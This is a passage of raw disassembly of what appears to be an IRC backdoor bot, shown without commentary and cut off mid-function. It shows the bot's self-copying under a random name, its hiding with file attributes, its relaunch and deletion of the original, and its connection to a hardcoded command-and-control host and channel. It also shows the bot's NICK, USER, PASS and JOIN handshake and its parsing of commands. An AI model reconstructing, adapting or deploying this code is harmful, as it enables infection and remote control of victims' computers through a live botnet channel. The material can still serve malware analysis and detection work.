		lea	eax, [ebp+var_6F4]
		push	eax
		push	offset aSS_2	; "%s%s"
		lea	eax, [ebp+var_5F4]
		push	esi
		push	eax
		call	sub_4159FA
		lea	eax, [ebp+var_3F0]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_415A50
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_40CDFA
		cmp	ds:dword_42ACD4, ebx
		mov	esi, offset byte_42AD8C
		jz	short loc_40CC92
		push	esi
		xor	edi, edi
		call	sub_415C80
		sub	eax, 4
		pop	ecx
		jz	short loc_40CC92


loc_40CC6F:				; CODE XREF: sub_40CB17+179j
		call	sub_4154DC
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	ds:byte_42AD8C[edi], dl
		inc	edi
		call	sub_415C80
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_40CC6F


loc_40CC92:				; CODE XREF: sub_40CB17+148j
					; sub_40CB17+156j
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		lea	eax, [ebp+var_1E8]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_415480
		add	esp, 10h
		lea	eax, [ebp+var_1E8]
		push	eax
		call	ds:off_422080
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40CCD2
		lea	eax, [ebp+var_1E8]
		push	80h
		push	eax
		call	ds:dword_422108	; SetFileAttributesA


loc_40CCD2:				; CODE XREF: sub_40CB17+1A7j
		mov	esi, ds:dword_422144
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		xor	edi, edi
		push	eax


loc_40CCE9:				; CODE XREF: sub_40CB17+209j
		call	esi	; CopyFileA
		test	eax, eax
		jnz	short loc_40CD22
		call	ds:dword_42206C	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_40CD22
		cmp	eax, 20h
		jz	short loc_40CD03
		cmp	eax, 5
		jnz	short loc_40CD22


loc_40CD03:				; CODE XREF: sub_40CB17+1E5j
		push	1
		pop	edi
		push	3A98h
		call	ds:dword_422054	; Sleep
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		jmp	short loc_40CCE9
; ---------------------------------------------------------------------------


loc_40CD22:				; CODE XREF: sub_40CB17+1D6j
					; sub_40CB17+1E0j ...
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_4091C2
		pop	ecx
		lea	eax, [ebp+var_1E8]
		push	7
		push	eax
		call	ds:dword_422108	; SetFileAttributesA
		push	10h
		lea	eax, [ebp+var_1C]
		push	ebx
		push	eax
		call	sub_415500
		push	44h
		lea	eax, [ebp+var_64]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_415500
		add	esp, 18h
		mov	[ebp+var_64], esi
		mov	[ebp+var_58], offset byte_4325D8
		mov	[ebp+var_34], bx
		push	1
		pop	esi
		mov	[ebp+var_38], esi
		call	ds:dword_422140	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h
		call	ds:dword_4220DC	; OpenProcess
		lea	ecx, [ebp+var_2EC]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_988]
		push	offset dword_42AED0
		push	eax
		call	sub_415480
		add	esp, 14h
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_988]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	ds:dword_422104	; CreateProcessA
		test	eax, eax
		jz	short loc_40CDFA
		push	0C8h
		call	ds:dword_422054	; Sleep
		push	[ebp+var_1C]
		mov	esi, ds:off_422074
		call	esi ; sub_4DB3D5
		push	[ebp+var_18]
		call	esi ; sub_4DB3D5
		call	ds:dword_4363C8	; WSACleanup
		push	ebx
		call	ds:off_42212C


loc_40CDFA:				; CODE XREF: sub_40CB17+137j
					; sub_40CB17+2B9j
		cmp	ds:dword_4C90A0, 2
		jle	short loc_40CE46
		mov	eax, ds:dword_4C90A4
		push	dword ptr [eax+4]
		call	sub_4159EF
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	ds:dword_422148	; WaitForSingleObject
		push	esi
		call	ds:off_422074
		mov	eax, ds:dword_4C90A4
		cmp	[eax+8], ebx
		jz	short loc_40CE46
		push	7D0h
		call	ds:dword_422054	; Sleep
		mov	eax, ds:dword_4C90A4
		push	dword ptr [eax+8]
		call	ds:dword_42213C	; DeleteFileA


loc_40CE46:				; CODE XREF: sub_40CB17+2EAj
					; sub_40CB17+314j
		cmp	ds:dword_42ACD8, ebx
		jz	short loc_40CE63
		cmp	ds:dword_436538, ebx
		jnz	short loc_40CE63
		lea	eax, [ebp+var_5F4]
		push	eax
		call	sub_40A7C2
		pop	ecx


loc_40CE63:				; CODE XREF: sub_40CB17+335j
					; sub_40CB17+33Dj
		lea	eax, [ebp+var_E4]
		push	offset dword_42AEA8
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_E4]
		push	ebx
		push	eax
		call	sub_414F2C
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_40A5B3
		push	0B80h
		push	ebx
		push	offset dword_43B140
		call	sub_415500
		call	sub_4154DC
		push	7Fh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4C8CCC
		mov	ds:dword_4C8E40, ebx
		call	sub_416D30
		mov	eax, ds:dword_42ACB8
		push	3Fh
		mov	edi, offset dword_4C8D4C
		push	offset aFaak	; "#faak#"
		push	edi
		mov	ds:dword_4C8E1C, eax
		call	sub_416D30
		push	3Fh
		mov	esi, offset dword_4C8D8C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_416D30
		add	esp, 48h
		mov	ds:dword_4C8E20, ebx


loc_40CEF1:				; CODE XREF: sub_40CB17+480j
					; sub_40CB17+48Bj ...
		mov	[ebp+var_4], ebx


loc_40CEF4:				; CODE XREF: sub_40CB17+434j
		cmp	ds:dword_436550, ebx
		jnz	short loc_40CF12
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	ds:dword_4363AC	; InternetGetConnectedState
		test	eax, eax
		jnz	short loc_40CF12
		push	7530h
		jmp	short loc_40CF3E
; ---------------------------------------------------------------------------


loc_40CF12:				; CODE XREF: sub_40CB17+3E3j
					; sub_40CB17+3F2j
		push	offset dword_4C8CC8
		mov	ds:dword_4C8E3C, ebx
		call	sub_40D000
		cmp	eax, 2
		mov	[ebp+var_8], eax
		jz	loc_40CFEC
		cmp	ds:dword_4C8E3C, ebx
		jz	short loc_40CF39
		dec	[ebp+var_4]


loc_40CF39:				; CODE XREF: sub_40CB17+41Dj
		push	0BB8h


loc_40CF3E:				; CODE XREF: sub_40CB17+3F9j
		call	ds:dword_422054	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_40CEF4
		cmp	[ebp+var_8], 2
		jz	loc_40CFEC
		cmp	[ebp+var_C], ebx
		jz	short loc_40CF9C
		push	7Fh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4C8CCC
		call	sub_416D30
		mov	eax, ds:dword_42ACB8
		push	3Fh
		push	offset aFaak	; "#faak#"
		push	edi
		mov	ds:dword_4C8E1C, eax
		call	sub_416D30
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_416D30
		add	esp, 24h
		mov	[ebp+var_C], ebx
		jmp	loc_40CEF1
; ---------------------------------------------------------------------------


loc_40CF9C:				; CODE XREF: sub_40CB17+443j
		cmp	ds:byte_42AD68,	bl
		jz	loc_40CEF1
		push	7Fh
		push	offset byte_42AD68
		push	offset dword_4C8CCC
		call	sub_416D30
		mov	eax, ds:dword_42ACBC
		push	3Fh
		push	offset aFaak_0	; "#faak#"
		push	edi
		mov	ds:dword_4C8E1C, eax
		call	sub_416D30
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_416D30
		add	esp, 24h
		mov	[ebp+var_C], 1
		jmp	loc_40CEF1
; ---------------------------------------------------------------------------


loc_40CFEC:				; CODE XREF: sub_40CB17+411j
					; sub_40CB17+43Aj
		call	sub_4150F5


loc_40CFF1:				; CODE XREF: sub_40CB17+A1j
					; sub_40CB17+B1j
		call	ds:dword_4363C8	; WSACleanup


loc_40CFF7:				; CODE XREF: sub_40CB17+94j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_40CB17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D000	proc near		; CODE XREF: sub_40CB17+406p
					; DATA XREF: sub_40D2E0+3B0Co

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_40D025:				; CODE XREF: sub_40D000+E6j
					; sub_40D000+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415500
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	ds:dword_436468	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_409410
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40D152
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_415500
		push	0
		lea	eax, [ebp+var_2C]
		push	ds:dword_4C8E30
		push	ds:dword_42ACE4
		push	eax
		call	sub_41416F
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43BED8
		push	edi
		push	eax
		call	sub_416D30
		add	esp, 28h
		push	6
		push	1
		push	2
		call	ds:dword_4364E8	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	ds:dword_43BECC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_436410	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40D0EB
		push	esi
		call	ds:dword_436500	; closesocket
		call	sub_409439
		push	7D0h


loc_40D0E0:				; CODE XREF: sub_40D000+146j
		call	ds:dword_422054	; Sleep
		jmp	loc_40D025
; ---------------------------------------------------------------------------


loc_40D0EB:				; CODE XREF: sub_40D000+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset dword_42AEDC
		call	sub_40A627
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40D168
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	ds:dword_436500	; closesocket
		test	edi, edi
		jz	loc_40D025
		cmp	edi, 1
		jnz	short loc_40D148
		push	0DBBA0h
		jmp	short loc_40D0E0
; ---------------------------------------------------------------------------


loc_40D148:				; CODE XREF: sub_40D000+13Fj
		cmp	edi, 2
		jz	short loc_40D156
		jmp	loc_40D025
; ---------------------------------------------------------------------------


loc_40D152:				; CODE XREF: sub_40D000+5Aj
		xor	eax, eax
		jmp	short loc_40D162
; ---------------------------------------------------------------------------


loc_40D156:				; CODE XREF: sub_40D000+14Bj
		push	[ebp+var_34]
		call	sub_415248
		pop	ecx
		push	2
		pop	eax


loc_40D162:				; CODE XREF: sub_40D000+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40D000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D168	proc near		; CODE XREF: sub_40D000+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_415D00
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx


loc_40D186:				; CODE XREF: sub_40D168+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40D186
		cmp	ds:byte_4C8E38,	bl
		jz	short loc_40D1AD
		push	offset byte_4C8E38
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40BAA1
		add	esp, 0Ch


loc_40D1AD:				; CODE XREF: sub_40D168+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_41416F
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_415480
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4364B8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40D217
		push	[ebp+arg_0]
		call	ds:dword_436500	; closesocket
		push	1388h
		call	ds:dword_422054	; Sleep


loc_40D210:				; CODE XREF: sub_40D168+D9j
					; sub_40D168+153j
		xor	eax, eax


loc_40D212:				; CODE XREF: sub_40D168+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D217:				; CODE XREF: sub_40D168+92j
					; sub_40D168+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_415500
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_436480	; recv
		test	eax, eax
		jle	short loc_40D210
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_408EAE
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40D217
		lea	edi, [ebp+var_A10]


loc_40D268:				; CODE XREF: sub_40D168+165j
		push	1
		pop	esi


loc_40D26B:				; CODE XREF: sub_40D168+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_40D2E0
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40D2AE
		push	7D0h
		call	ds:dword_422054	; Sleep
		jmp	short loc_40D26B
; ---------------------------------------------------------------------------


loc_40D2AE:				; CODE XREF: sub_40D168+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40D2D8
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40D2D4
		cmp	esi, 0FFFFFFFFh
		jz	loc_40D210
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_40D268
		jmp	loc_40D217
; ---------------------------------------------------------------------------


loc_40D2D4:				; CODE XREF: sub_40D168+14Ej
		push	1
		jmp	short loc_40D2DA
; ---------------------------------------------------------------------------


loc_40D2D8:				; CODE XREF: sub_40D168+149j
		push	2


loc_40D2DA:				; CODE XREF: sub_40D168+16Ej
		pop	eax
		jmp	loc_40D212
sub_40D168	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2E0	proc near		; CODE XREF: sub_40D168+12Ap

var_15B0	= byte ptr -15B0h
var_11B0	= byte ptr -11B0h
var_FB0		= byte ptr -0FB0h
var_DB0		= byte ptr -0DB0h
var_CB0		= byte ptr -0CB0h
var_CAC		= byte ptr -0CACh
var_BAC		= byte ptr -0BACh
var_BA8		= byte ptr -0BA8h
var_AA8		= byte ptr -0AA8h
var_A28		= byte ptr -0A28h
var_9C7		= byte ptr -9C7h
var_9C6		= byte ptr -9C6h
var_9C4		= byte ptr -9C4h
var_9C3		= byte ptr -9C3h
var_9BA		= byte ptr -9BAh
var_9B8		= byte ptr -9B8h
var_9B6		= byte ptr -9B6h
var_9B5		= byte ptr -9B5h
var_928		= byte ptr -928h
var_90C		= dword	ptr -90Ch
var_908		= byte ptr -908h
var_804		= dword	ptr -804h
var_800		= dword	ptr -800h
var_7FC		= byte ptr -7FCh
var_7F8		= dword	ptr -7F8h
var_7F4		= byte ptr -7F4h
var_7F0		= dword	ptr -7F0h
var_7EC		= dword	ptr -7ECh
var_7E8		= byte ptr -7E8h
var_780		= byte ptr -780h
var_774		= byte ptr -774h
var_770		= dword	ptr -770h
var_76C		= byte ptr -76Ch
var_768		= byte ptr -768h
var_75C		= byte ptr -75Ch
var_73C		= dword	ptr -73Ch
var_738		= byte ptr -738h
var_710		= dword	ptr -710h
var_708		= byte ptr -708h
var_6FC		= dword	ptr -6FCh
var_6F8		= byte ptr -6F8h
var_6F4		= byte ptr -6F4h
var_6F0		= dword	ptr -6F0h
var_6EC		= byte ptr -6ECh
var_6E8		= byte ptr -6E8h
var_6B8		= byte ptr -6B8h
var_681		= byte ptr -681h
var_680		= byte ptr -680h
var_678		= byte ptr -678h
var_670		= byte ptr -670h
var_66C		= byte ptr -66Ch
var_668		= byte ptr -668h
var_5F8		= byte ptr -5F8h
var_5F4		= dword	ptr -5F4h
var_5F0		= dword	ptr -5F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_578		= dword	ptr -578h
var_574		= dword	ptr -574h
var_570		= dword	ptr -570h
var_56C		= dword	ptr -56Ch
var_568		= dword	ptr -568h
var_564		= dword	ptr -564h
var_560		= dword	ptr -560h
var_55C		= byte ptr -55Ch
var_50C		= dword	ptr -50Ch
var_508		= byte ptr -508h
var_504		= dword	ptr -504h
var_500		= byte ptr -500h
var_4F4		= dword	ptr -4F4h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= byte ptr -4E8h
var_4C0		= byte ptr -4C0h
var_4A0		= dword	ptr -4A0h
var_488		= byte ptr -488h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= byte ptr -45Ch
var_458		= byte ptr -458h
var_444		= byte ptr -444h
var_434		= byte ptr -434h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_40C		= dword	ptr -40Ch
var_408		= byte ptr -408h
var_3FC		= byte ptr -3FCh
var_3F8		= byte ptr -3F8h
var_3D8		= byte ptr -3D8h
var_3B4		= byte ptr -3B4h
var_398		= byte ptr -398h
var_388		= byte ptr -388h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2EC		= word ptr -2ECh
var_2EA		= word ptr -2EAh
var_2E8		= dword	ptr -2E8h
var_2DC		= byte ptr -2DCh
var_DC		= dword	ptr -0DCh
var_D8		= byte ptr -0D8h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_54		= byte ptr -54h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 15B0h
		call	sub_415D00
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		mov	[ebp+var_C0], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_DC], ebx
		call	sub_415500
		push	1Bh
		lea	eax, [ebp+var_928]
		push	[ebp+arg_10]
		push	eax
		call	sub_416D30
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_40D6A7
		push	esi
		lea	eax, [ebp+var_FB0]
		push	ebx
		push	eax
		call	sub_415500
		dec	esi
		lea	eax, [ebp+var_FB0]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_416D30
		lea	eax, [ebp+var_FB0]
		push	offset asc_42E574 ; " :"
		push	eax
		call	sub_415A50
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_FB0]
		push	esi
		push	eax
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_416D30
		mov	esi, offset asc_425D24 ; " "
		lea	eax, [ebp+var_11B0]
		push	esi
		push	eax
		call	sub_416C8F
		add	esp, 34h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+var_BC], 1Fh


loc_40D3B3:				; CODE XREF: sub_40D2E0+E7j
		push	esi
		push	ebx
		call	sub_416C8F
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_BC]
		pop	ecx
		jnz	short loc_40D3B3
		mov	esi, [ebp+var_94]
		cmp	esi, ebx
		jz	loc_40D6A7
		cmp	[ebp+var_90], ebx
		jz	loc_40D6A7
		push	100h
		lea	eax, [ebp+var_A28]
		push	ebx
		push	eax
		call	sub_415500
		add	esp, 0Ch
		lea	ecx, [ebp+var_18]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_40D401:				; CODE XREF: sub_40D2E0+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40D42D
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40D435
		cmp	[eax+2], bl
		jnz	short loc_40D435
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_A28], 1
		mov	esi, [ebp+var_94]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_40D42D:				; CODE XREF: sub_40D2E0+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_40D401


loc_40D435:				; CODE XREF: sub_40D2E0+12Aj
					; sub_40D2E0+12Fj
		cmp	[ebp+var_9B5], bl
		jz	short loc_40D440
		mov	[ebp+var_8], edi


loc_40D440:				; CODE XREF: sub_40D2E0+15Bj
		cmp	[ebp+var_9BA], bl
		jz	short loc_40D44E
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_40D44E:				; CODE XREF: sub_40D2E0+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40D488
		push	7Fh
		lea	eax, [ebp+var_AA8]
		push	esi
		push	eax
		call	sub_416D30
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_416D30
		lea	eax, [ebp+var_D8]
		push	offset asc_42E570 ; "!"
		push	eax
		call	sub_416C8F
		add	esp, 20h


loc_40D488:				; CODE XREF: sub_40D2E0+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D4D9
		push	[ebp+var_90]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40BAA1
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40D57D
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40BAA1
		add	esp, 10h
		jmp	loc_40D57D
; ---------------------------------------------------------------------------


loc_40D4D9:				; CODE XREF: sub_40D2E0+1B7j
		mov	esi, [ebp+var_90]
		push	esi
		push	offset a001	; "001"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413541
		push	esi
		push	offset a005	; "005"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413541
		push	esi
		push	offset a302	; "302"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D541
		push	offset a@	; "@"
		push	[ebp+var_88]
		call	sub_415A50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40D57D
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_416D30
		jmp	short loc_40D57A
; ---------------------------------------------------------------------------


loc_40D541:				; CODE XREF: sub_40D2E0+238j
		push	esi
		push	offset a433	; "433"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D584
		push	ebx
		push	ds:dword_4C8E30
		push	ds:dword_42ACE4
		push	[ebp+arg_10]
		call	sub_41416F
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40BAA1


loc_40D57A:				; CODE XREF: sub_40D2E0+25Fj
		add	esp, 0Ch


loc_40D57D:				; CODE XREF: sub_40D2E0+1D8j
					; sub_40D2E0+1F4j ...
		mov	eax, edi
		jmp	loc_40D6AA
; ---------------------------------------------------------------------------


loc_40D584:				; CODE XREF: sub_40D2E0+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_BC], 2
		mov	edi, 80h


loc_40D596:				; CODE XREF: sub_40D2E0+2DBj
		lea	eax, [ebp+var_AA8]
		push	eax
		push	esi
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D5B3
		mov	[ebp+var_AC], 1


loc_40D5B3:				; CODE XREF: sub_40D2E0+2C7j
		add	esi, edi
		dec	[ebp+var_BC]
		jnz	short loc_40D596
		mov	esi, [ebp+var_90]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D6AF
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 2


loc_40D5E2:				; CODE XREF: sub_40D2E0+392j
		cmp	[esi], bl
		jz	loc_40D66D
		push	7Fh
		lea	eax, [ebp+var_AA8]
		push	esi
		push	eax
		call	sub_416D30
		lea	eax, [ebp+var_D8]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D66D
		cmp	[ebp+var_88], ebx
		jz	short loc_40D66D
		push	[ebp+var_88]
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D66D
		lea	eax, [ebp+var_D8]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_42E4F4
		push	eax
		call	sub_415480
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_40BAA1
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40A5B3
		add	esp, 14h


loc_40D66D:				; CODE XREF: sub_40D2E0+304j
					; sub_40D2E0+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_40D5E2
		push	[ebp+var_88]
		push	[ebp+arg_10]
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D6A7
		push	[ebp+arg_C]
